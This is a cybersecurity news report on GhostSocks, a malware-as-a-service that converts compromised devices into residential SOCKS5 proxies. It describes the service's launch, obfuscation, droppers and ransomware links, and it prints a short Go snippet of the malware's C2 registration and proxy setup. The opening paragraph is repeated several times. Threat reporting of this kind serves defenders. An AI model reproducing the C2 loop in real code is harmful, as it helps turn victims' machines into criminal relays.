New GhostSocks Malware-as-a-Service Enables Threat Actors to Convert Compromised Devices into Proxies
On Sun, Oct 15, 2023, a service called GhostSocks was introduced on the Russian cybercrime forum XSS.is. This service, categorized as Malware-as-a-Service (MaaS), is designed to convert compromised devices into residential SOCKS5 proxies.
On Sun, Oct 15, 2023, a service called GhostSocks was introduced on the Russian cybercrime forum XSS.is. This service, categorized as Malware-as-a-Service (MaaS), is designed to convert compromised devices into residential SOCKS5 proxies.
The service leverages the credibility of residential IP addresses to circumvent anti-fraud systems and evade network detection.
The service includes a web-based control panel for centralized management of devices and sub-accounts, and it also supports automated build generation for Windows and UNIX systems.
GhostSocks eliminates the need for external proxy servers, reducing operational costs and infrastructure complexity for threat actors. The builds are developed in Go, ranging from 3 MB before obfuscation to 8 MB afterward, using the open-source garble project for obfuscation purposes.
Once deployed, GhostSocks operates entirely in memory, offering SOCKS5 functionality without employing its own persistence mechanism.
On Sun, Oct 15, 2023, a service called GhostSocks was introduced on the Russian cybercrime forum XSS.is.
GhostSocks relies on other initial-access tools, such as LummaStealer, to gain access to victim systems, illustrating the interconnected ecosystem of modern cyber threats. Leaked chat logs from the BlackBasta ransomware group in February 2025 indicate discussions about integrating GhostSocks to enhance network access longevity without attracting attention.
Despite law enforcement actions against LummaStealer's infrastructure, GhostSocks has persisted, although with reduced activity on underground forums, demonstrating the adaptability of MaaS offerings.
GhostSocks deployment begins with a dropper from a separate malware family. Upon execution, it obtains a global mutex named "start_to_run" to prevent multiple instances. It searches the %TEMP% directory for a configuration file or defaults to a hardcoded encrypted blob if unavailable.
After decrypting this blob, GhostSocks iterates over a list of C2 URLs until it receives a successful HTTP 200 response, at which point it provisions SOCKS5 credentials.
for _, url := range c2List { resp, err := http.Get(url + "/apihelper-first-register?buildVersion=" + version + "&proxyPassword=" + pwd + "&proxyUsername=" + user) if err != nil || resp.StatusCode != http.StatusOK { continue } creds := extractCredentials(resp.Body) setupSocks5(creds) break }
Following registration, GhostSocks initiates a back-connect SOCKS5 session using the go-socks5 and yamux libraries, converting the victim host into a transparent relay for downstream clients.
This mechanism allows the monetization of compromised hosts at scale while minimizing detectable network infrastructure.
Based on reporting by Cyber Security News.